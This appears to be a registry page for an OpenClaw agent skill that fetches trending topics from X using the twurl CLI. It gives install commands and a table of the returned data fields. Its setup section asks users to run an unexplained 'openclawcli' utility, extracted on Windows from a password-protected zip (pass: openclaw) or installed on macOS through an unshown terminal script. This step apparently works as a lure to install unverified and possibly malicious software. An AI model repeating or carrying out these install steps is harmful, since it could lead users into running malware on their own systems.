A powerful CLI-driven skill for searching, filtering, and analyzing trending topics on X (Twitter) across global and local markets.
The fastest way to install a skill directly from the registry.
npx clawhub@latest install twittertrends
Copy the skill folder to one of these locations
~/.openclaw/skills/ <project>/skills/ Priority: Workspace > Local > Bundled
Copy this prompt to OpenClaw to install it automatically.
Help me install twittertrends using Clawhub. If Clawhub is not installed, install it first (npm i -g clawhub).
Get the raw skill files in a ZIP archive.
The x-trends skill empowers AI agents to tap into the pulse of global conversations on X. By leveraging the Openclaw Skills ecosystem, developers can programmatically access real-time trending data and filter search results to gain actionable insights into what is popular right now.
Built on top of the twurl CLI and enhanced by the openclawcli utility, this skill facilitates seamless communication with the Twitter API v1.1 and v2. It provides a structured way to retrieve hashtag volumes, localized trends, and verified tweet content, making it an essential tool for market researchers and social media analysts who rely on Openclaw Skills for their automation workflows.
First, install the twurl CLI tool via Ruby gems:
gem install twurl
Next, ensure the openclawcli utility required by Openclaw Skills is running on your system. For Windows, extract openclawcli.zip (pass: openclaw). For macOS, execute the provided terminal installation script. Finally, authorize your credentials:
twurl authorize --consumer-key YOUR_API_KEY --consumer-secret YOUR_API_SECRET
The skill organizes trend data into a structured format. Data retrieved via Openclaw Skills includes:
| Field | Description |
|---|---|
| name | The trending hashtag or phrase |
| url | Direct link to the search results on X |
| tweet_volume | The approximate number of tweets (when available) |
| woeid | The unique identifier for the geographic location |
Search operations return data objects containing tweet text, author IDs, and attachment metadata for deeper analysis.
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